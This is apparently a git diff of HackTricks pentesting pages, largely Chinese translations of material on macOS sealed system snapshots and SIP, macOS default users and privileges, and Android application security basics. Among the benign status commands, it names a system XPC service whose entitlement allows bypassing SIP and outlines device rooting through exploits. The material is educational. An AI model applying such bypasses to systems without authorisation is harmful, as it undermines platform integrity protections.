||||
|
||||
|
@ -199,21 +186,21 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.
|
|||
|
||||
在这个特定情况下,位于 `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` 的系统 XPC 服务拥有此权限。这使得相关进程能够绕过 SIP 限制。此外,该服务显著提供了一种方法,允许在不执行任何安全措施的情况下移动文件。
|
||||
|
||||
## Sealed System Snapshots
|
||||
## 密封系统快照
|
||||
|
||||
Sealed System Snapshots 是 Apple 在 **macOS Big Sur (macOS 11)** 中引入的一项功能,作为其 **系统完整性保护 (SIP)** 机制的一部分,以提供额外的安全性和系统稳定性。它们本质上是系统卷的只读版本。
|
||||
密封系统快照是 Apple 在 **macOS Big Sur (macOS 11)** 中引入的一项功能,作为其 **系统完整性保护 (SIP)** 机制的一部分,以提供额外的安全性和系统稳定性。它们本质上是系统卷的只读版本。
|
||||
|
||||
以下是更详细的介绍:
|
||||
|
||||
1. **不可变系统**:Sealed System Snapshots 使 macOS 系统卷变为“不可变”,这意味着它无法被修改。这防止了任何未经授权或意外的更改,从而可能危及安全性或系统稳定性。
|
||||
1. **不可变系统**:密封系统快照使 macOS 系统卷“不可变”,意味着它无法被修改。这防止了任何未经授权或意外的更改,从而可能危及安全性或系统稳定性。
|
||||
2. **系统软件更新**:当您安装 macOS 更新或升级时,macOS 会创建一个新的系统快照。macOS 启动卷随后使用 **APFS (Apple 文件系统)** 切换到这个新快照。应用更新的整个过程变得更安全、更可靠,因为系统始终可以在更新过程中出现问题时恢复到先前的快照。
|
||||
3. **数据分离**:结合在 macOS Catalina 中引入的数据和系统卷分离的概念,Sealed System Snapshot 功能确保您的所有数据和设置存储在一个单独的“**数据**”卷上。这种分离使您的数据独立于系统,从而简化了系统更新的过程并增强了系统安全性。
|
||||
3. **数据分离**:结合在 macOS Catalina 中引入的数据和系统卷分离的概念,密封系统快照功能确保您的所有数据和设置存储在一个单独的“**数据**”卷上。这种分离使您的数据独立于系统,从而简化了系统更新的过程并增强了系统安全性。
|
||||
|
||||
请记住,这些快照由 macOS 自动管理,并且由于 APFS 的空间共享功能,它们不会占用您磁盘上的额外空间。还需要注意的是,这些快照与 **Time Machine 快照** 不同,后者是用户可访问的整个系统的备份。
|
||||
请记住,这些快照由 macOS 自动管理,并且由于 APFS 的空间共享能力,不会占用您磁盘上的额外空间。还需要注意的是,这些快照与 **时间机器快照** 不同,后者是用户可访问的整个系统的备份。
|
||||
|
||||
### Check Snapshots
|
||||
### 检查快照
|
||||
|
||||
命令 **`diskutil apfs list`** 列出 **APFS 卷的详细信息**及其布局:
|
||||
命令 **`diskutil apfs list`** 列出 **APFS 卷的详细信息** 及其布局:
|
||||
|
||||
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
|
||||
| ====================================================
|
||||
|
@ -254,7 +241,7 @@ Sealed System Snapshots 是 Apple 在 **macOS Big Sur (macOS 11)** 中引入的
|
|||
|
||||
在之前的输出中,可以看到 **用户可访问的位置** 被挂载在 `/System/Volumes/Data` 下。
|
||||
|
||||
此外,**macOS 系统卷快照** 被挂载在 `/` 并且是 **密封的**(由操作系统进行加密签名)。因此,如果 SIP 被绕过并进行修改,**操作系统将无法启动**。
|
||||
此外,**macOS 系统卷快照** 被挂载在 `/` 并且是 **密封的**(由操作系统进行加密签名)。因此,如果绕过 SIP 并进行修改,**操作系统将无法启动**。
|
||||
|
||||
还可以通过运行来 **验证密封是否启用**:
|
||||
```bash
|
||||
|
@ -266,28 +253,17 @@ Authenticated Root status: enabled
|
|||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,71 +1,56 @@
|
|||
# macOS用户
|
||||
# macOS 用户
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### 常见用户
|
||||
|
||||
* **守护进程**:为系统守护进程保留的用户。默认的守护进程帐户名称通常以“\_”开头:
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **访客**:具有非常严格权限的访客帐户
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Nobody**: 当需要最低权限时,使用此用户执行进程
|
||||
* **Root**
|
||||
|
||||
### 用户权限
|
||||
|
||||
* **标准用户:** 最基本的用户。此用户在尝试安装软件或执行其他高级任务时需要管理员用户授予权限。他们无法自行执行这些操作。
|
||||
* **管理员用户**: 大部分时间以标准用户身份运行的用户,但也被允许执行像安装软件和其他管理任务这样的根权限操作。所有属于管理员组的用户都**通过 sudoers 文件获得对 root 的访问权限**。
|
||||
* **Root**: Root 是一个允许执行几乎任何操作的用户(受到诸如系统完整性保护之类的限制)。
|
||||
* 例如,root 将无法将文件放入 `/System`
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
### 常见用户
|
||||
|
||||
* **守护进程**:保留给系统守护进程的用户。默认的守护进程账户名称通常以“\_”开头:
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **访客**:权限非常严格的访客账户
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **无**: 当需要最小权限时,进程以此用户身份执行
|
||||
* **根用户**
|
||||
|
||||
### 用户权限
|
||||
|
||||
* **标准用户**: 最基本的用户。此用户在尝试安装软件或执行其他高级任务时需要管理员用户授予的权限。他们无法独立完成这些操作。
|
||||
* **管理员用户**: 大多数时候作为标准用户操作,但也被允许执行根用户操作,如安装软件和其他管理任务。所有属于管理员组的用户**通过sudoers文件获得根用户访问权限**。
|
||||
* **根用户**: 根用户被允许执行几乎所有操作(受系统完整性保护等限制)。
|
||||
* 例如,根用户无法将文件放置在`/System`内。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,148 +1,140 @@
|
|||
# Android Applications Basics
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Android Security Model
|
||||
|
||||
**有两个层次:**
|
||||
|
||||
* **操作系统**,它使已安装的应用程序彼此隔离。
|
||||
* **应用程序本身**,它允许开发人员**暴露某些功能**并配置应用程序能力。
|
||||
* **应用程序本身**,允许开发人员**暴露某些功能**并配置应用程序能力。
|
||||
|
||||
### UID 分离
|
||||
### UID Separation
|
||||
|
||||
**每个应用程序被分配一个特定的用户 ID**。这在应用程序安装期间完成,因此**应用程序只能与其用户 ID 所拥有的文件或共享文件进行交互**。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序数据。
|
||||
**每个应用程序被分配一个特定的用户ID**。这在应用程序安装时完成,因此**应用程序只能与其用户ID拥有的文件或共享文件进行交互**。因此,只有应用程序本身、操作系统的某些组件和根用户可以访问应用程序的数据。
|
||||
|
||||
### UID 共享
|
||||
### UID Sharing
|
||||
|
||||
**两个应用程序可以配置为使用相同的 UID**。这可以用于共享信息,但如果其中一个被攻破,则两个应用程序的数据都会受到影响。这就是为什么这种行为**不被鼓励**。\
|
||||
**要共享相同的 UID,应用程序必须在其清单中定义相同的 `android:sharedUserId` 值。**
|
||||
**两个应用程序可以配置为使用相同的UID**。这可以用于共享信息,但如果其中一个被攻破,则两个应用程序的数据都会受到影响。这就是为什么这种行为**不被鼓励**。\
|
||||
**要共享相同的UID,应用程序必须在其清单中定义相同的 `android:sharedUserId` 值。**
|
||||
|
||||
### 沙箱
|
||||
### Sandboxing
|
||||
|
||||
**Android 应用程序沙箱**允许**每个应用程序**作为**在单独用户 ID 下的单独进程**运行。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
|
||||
从 Android 5.0(L) 开始,**SELinux** 被强制执行。基本上,SELinux 拒绝所有进程交互,然后创建策略以**仅允许它们之间的预期交互**。
|
||||
**Android应用程序沙箱**允许**每个应用程序**作为**在单独用户ID下的单独进程**运行。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
|
||||
从Android 5.0(L)开始,**SELinux**被强制执行。基本上,SELinux拒绝所有进程交互,然后创建策略以**仅允许它们之间的预期交互**。
|
||||
|
||||
### 权限
|
||||
### Permissions
|
||||
|
||||
当你安装一个**应用程序并请求权限**时,应用程序是在请求**AndroidManifest.xml** 文件中配置的**`uses-permission`** 元素中的权限。**uses-permission** 元素在**name** **属性中指示请求的权限名称。**它还有**maxSdkVersion** 属性,该属性在版本高于指定版本时停止请求权限。\
|
||||
请注意,Android 应用程序不需要在开始时请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明。**
|
||||
当你安装一个**应用程序并请求权限**时,应用程序是在请求**AndroidManifest.xml**文件中配置的**`uses-permission`**元素中的权限。**uses-permission**元素在**name**属性中指示请求的权限名称。它还有**maxSdkVersion**属性,该属性在版本高于指定版本时停止请求权限。\
|
||||
请注意,Android应用程序不需要在开始时请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明**。
|
||||
|
||||
当应用程序暴露功能时,它可以限制**仅允许具有指定权限的应用程序访问**。\
|
||||
权限元素有三个属性:
|
||||
|
||||
* 权限的**名称**
|
||||
* **permission-group** 属性,允许对相关权限进行分组。
|
||||
* **permission-group**属性,允许对相关权限进行分组。
|
||||
* **protection-level**,指示权限的授予方式。共有四种类型:
|
||||
* **Normal**:用于**没有已知威胁**的应用程序。用户**不需要批准**它。
|
||||
* **Dangerous**:指示权限授予请求应用程序某些**提升的访问权限**。**请求用户批准**。
|
||||
* **Signature**:只有**由与导出组件相同证书签名的应用程序**才能获得权限。这是最强的保护类型。
|
||||
* **SignatureOrSystem**:只有**由与导出组件相同证书签名的应用程序**或**以系统级访问权限运行的应用程序**才能获得权限。
|
||||
|
||||
## 预装应用程序
|
||||
## Pre-Installed Applications
|
||||
|
||||
这些应用程序通常位于**`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些是**优化过的**(你可能甚至找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们**运行的权限过多**(作为 root)。
|
||||
这些应用程序通常位于**`/system/app`**或**`/system/priv-app`**目录中,其中一些是**优化过的**(你可能甚至找不到`classes.dex`文件)。这些应用程序值得检查,因为有时它们**运行的权限过多**(作为root)。
|
||||
|
||||
* 随 **AOSP**(Android 开源项目)**ROM** 一起提供的应用程序
|
||||
* 随**AOSP**(Android开源项目)**ROM**一起提供的应用程序
|
||||
* 由设备**制造商**添加的
|
||||
* 由手机**提供商**添加的(如果是从他们那里购买的)
|
||||
|
||||
## Rooting
|
||||
|
||||
为了获得对物理 Android 设备的 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定**于**设备**和**版本**的。\
|
||||
一旦漏洞成功,通常会将 Linux `su` 二进制文件复制到用户 PATH 环境变量中指定的位置,如 `/system/xbin`。
|
||||
为了获得对物理Android设备的root访问权限,通常需要**利用**1或2个**漏洞**,这些漏洞通常是**特定于设备**和**版本**的。\
|
||||
一旦漏洞成功,通常会将Linux `su`二进制文件复制到用户PATH环境变量中指定的位置,如`/system/xbin`。
|
||||
|
||||
一旦配置了 su 二进制文件,另一个 Android 应用程序将用于与 `su` 二进制文件接口并**处理 root 访问请求**,如 **Superuser** 和 **SuperSU**(在 Google Play 商店中可用)。
|
||||
一旦su二进制文件配置完成,另一个Android应用程序将用于与`su`二进制文件接口并**处理root访问请求**,如**Superuser**和**SuperSU**(在Google Play商店中可用)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,rooting 过程非常危险,可能会严重损坏设备
|
||||
请注意,root过程非常危险,可能会严重损坏设备
|
||||
{% endhint %}
|
||||
|
||||
### ROMs
|
||||
|
||||
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的使用价值,绕过软件限制或获得最新的 Android 代码。\
|
||||
**OmniROM** 和 **LineageOS** 是两个最流行的固件。
|
||||
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的使用价值,绕过软件限制或获得最新的Android代码。\
|
||||
**OmniROM**和**LineageOS**是两个最流行的固件。
|
||||
|
||||
请注意,**并不总是需要 root 设备**才能安装自定义固件。**一些制造商允许**以良好文档和安全的方式解锁其引导加载程序。
|
||||
请注意,**并不总是需要root设备**才能安装自定义固件。**一些制造商允许**以良好文档和安全的方式解锁其引导加载程序。
|
||||
|
||||
### 影响
|
||||
### Implications
|
||||
|
||||
一旦设备被 root,任何应用程序都可以请求 root 访问。如果恶意应用程序获得了它,它将几乎可以访问所有内容,并能够损坏手机。
|
||||
一旦设备被root,任何应用程序都可以请求root访问。如果恶意应用程序获得了它,它将几乎可以访问所有内容,并能够损坏手机。
|
||||
|
||||
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Android 应用程序的格式被称为 _APK 文件格式_。它本质上是一个**ZIP 文件**(通过将文件扩展名重命名为 .zip,可以提取和查看内容)。
|
||||
- APK 内容(不详尽)
|
||||
- Android应用程序的格式被称为_ APK文件格式_。它本质上是一个**ZIP文件**(通过将文件扩展名重命名为.zip,可以提取和查看内容)。
|
||||
- APK内容(不详尽)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc:包含预编译资源,如二进制 XML。
|
||||
- resources.arsc:包含预编译资源,如二进制XML。
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- 这里是证书所在的位置!
|
||||
- 这里是证书所在的地方!
|
||||
- **classes.dex**
|
||||
- 包含 Dalvik 字节码,表示应用程序默认执行的编译 Java(或 Kotlin)代码。
|
||||
- 包含Dalvik字节码,表示应用程序默认执行的编译Java(或Kotlin)代码。
|
||||
- lib/
|
||||
- 存放本地库,按 CPU 架构在子目录中分隔。
|
||||
- `armeabi`:ARM 处理器的代码
|
||||
- `armeabi-v7a`:ARMv7 及更高版本处理器的代码
|
||||
- `x86`:X86 处理器的代码
|
||||
- `mips`:仅 MIPS 处理器的代码
|
||||
- 存放本地库,按CPU架构在子目录中隔离。
|
||||
- `armeabi`:ARM处理器的代码
|
||||
- `armeabi-v7a`:ARMv7及更高版本处理器的代码
|
||||
- `x86`:X86处理器的代码
|
||||
- `mips`:仅用于MIPS处理器的代码
|
||||
- assets/
|
||||
- 存储应用程序所需的杂项文件,可能包括额外的本地库或 DEX 文件,有时被恶意软件作者用来隐藏额外代码。
|
||||
- 存储应用程序所需的杂项文件,可能包括额外的本地库或DEX文件,有时被恶意软件作者用来隐藏额外代码。
|
||||
- res/
|
||||
- 包含未编译到 resources.arsc 中的资源。
|
||||
- 包含未编译到resources.arsc中的资源。
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
在 Android 开发中,**Java 或 Kotlin** 用于创建应用程序。与桌面应用程序使用 JVM 不同,Android 将此代码编译为**Dalvik 可执行文件(DEX 字节码)**。早期,Dalvik 虚拟机处理此字节码,但现在,Android Runtime (ART) 在较新版本的 Android 中接管。
|
||||
在Android开发中,**Java或Kotlin**用于创建应用程序。与桌面应用程序使用JVM不同,Android将此代码编译为**Dalvik可执行文件(DEX字节码)**。早期,Dalvik虚拟机处理此字节码,但现在,Android Runtime(ART)在较新版本的Android中接管。
|
||||
|
||||
对于逆向工程,**Smali** 变得至关重要。它是 DEX 字节码的人类可读版本,像汇编语言一样通过将源代码转换为字节码指令。Smali 和 baksmali 在此上下文中指代汇编和反汇编工具。
|
||||
对于逆向工程,**Smali**变得至关重要。它是DEX字节码的人类可读版本,像汇编语言一样通过将源代码转换为字节码指令。Smali和baksmali在此上下文中指代汇编和反汇编工具。
|
||||
|
||||
## Intents
|
||||
|
||||
Intents 是 Android 应用程序在其组件之间或与其他应用程序之间通信的主要方式。这些消息对象还可以在应用程序或组件之间携带数据,类似于 HTTP 通信中使用的 GET/POST 请求。
|
||||
Intents是Android应用程序在其组件之间或与其他应用程序之间通信的主要方式。这些消息对象还可以在应用程序或组件之间携带数据,类似于HTTP通信中使用的GET/POST请求。
|
||||
|
||||
因此,Intent 基本上是**在组件之间传递的消息**。Intents **可以定向**到特定组件或应用程序,**也可以在没有特定接收者的情况下发送**。\
|
||||
简单来说,Intent 可以用于:
|
||||
因此,Intent基本上是**在组件之间传递的消息**。Intents**可以定向**到特定组件或应用程序,**也可以在没有特定接收者的情况下发送**。\
|
||||
简单来说,Intent可以用于:
|
||||
|
||||
* 启动一个 Activity,通常打开应用程序的用户界面
|
||||
* 启动一个Activity,通常打开应用程序的用户界面
|
||||
* 作为广播通知系统和应用程序的变化
|
||||
* 启动、停止和与后台服务通信
|
||||
* 通过 ContentProviders 访问数据
|
||||
* 通过ContentProviders访问数据
|
||||
* 作为回调处理事件
|
||||
|
||||
